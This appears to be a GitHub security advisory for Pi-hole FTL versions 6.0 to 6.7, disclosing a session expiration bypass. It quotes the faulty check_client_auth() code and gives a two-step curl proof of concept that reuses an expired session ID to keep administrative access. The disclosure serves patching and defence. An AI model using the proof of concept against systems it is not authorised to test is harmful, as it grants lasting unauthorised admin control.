Skip to content

Session Expiration Bypass

High
PromoFaux published GHSA-w8cr-2cwg-92cg Jul 6, 2026

Package

Pi-Hole FTL

Affected versions

>=6.0

Patched versions

>=6.7

Description

Summary

Pi-hole FTL contains a logic flaw in the session validation function check_client_auth() that causes expired sessions to be automatically renewed instead of rejected. When a request is made with an expired session ID, the server detects the expiration, sets an internal flag, but then unconditionally renews the session timestamp and grants access.

The flag is only evaluated in an unreachable code branch. As a result, any session ID that was valid at any point in time grants permanent administrative access as long as it is periodically used.

Details

The function check_client_auth() in FTL/src/api/auth.c is responsible for validating incoming session IDs. The logic flaw is as follows:

// auth.c:235-294
bool expired = false;
AUTOLOCK(&auth_lock);
for(unsigned int i = 0; i < max_sessions; i++)
{
    if(auth_data[i].used &&
       strcmp(auth_data[i].sid, sid) == 0)
    {
        // Detects expiration, sets flag but does NOT return
        if(auth_data[i].valid_until < now)
            expired = true;

        // Assigns user_id regardless of expiration
        user_id = i;
        break;
    }
}

if(user_id > API_AUTH_UNAUTHORIZED)
{
    // Reached whether session is expired or not
    // unconditionally renews the session timestamp
    auth_data[user_id].valid_until = now + config.webserver.session.timeout.v.ui;
    ...
}
else
{
    // The 'expired' flag is only evaluated here
    // but this branch is UNREACHABLE when the SID matched,
    // because user_id was assigned in the loop above
    api->message = expired ? "session expired" : "session unknown";
    return API_AUTH_UNAUTHORIZED;
}

When the SID matches an expired session, the execution path is:

  1. auth.c:243 - expired = true is set
  2. auth.c:254 - user_id = i is assigned unconditionally
  3. auth.c:258 - user_id > API_AUTH_UNAUTHORIZED evaluates to true
  4. auth.c:264 - valid_until is renewed: now + timeout
  5. auth.c:291 - the expired flag is never checked on this path

The expired flag is assigned but never evaluated in the code path where the SID matches. It is only referenced in the else branch at line 291, which is unreachable whenever user_id was set inside the loop.

PoC

Step 1 - Authenticate and capture the SID:

curl -sk -X POST http://PI_HOLE_IP/api/auth \
  -H "Content-Type: application/json" \
  -d '{"password":"ADMIN_PASSWORD"}' | python3 -m json.tool

Note the sid value from the response.

Step 2 - Wait for the session to expire (default timeout: 1800 seconds)

Step 3 - Use the expired SID:

curl -sk http://PI_HOLE_IP/api/auth \
  -H "sid: EXPIRED_SID" | python3 -m json.tool

Expected response on a vulnerable target:

{
  "session": {
    "valid": true,
    "sid": "EXPIRED_SID",
    ...
  }
}

The server returns valid: true and renews the session. The SID is now active for another full timeout period. This cycle repeats indefinitely on each use.

Impact

Any session ID that was valid at any point in time provides permanent administrative access to Pi-hole as long as it is periodically used. The session timeout mechanism is completely ineffective.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Insufficient Session Expiration

According to WASC, Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization. Learn more on MITRE.

Credits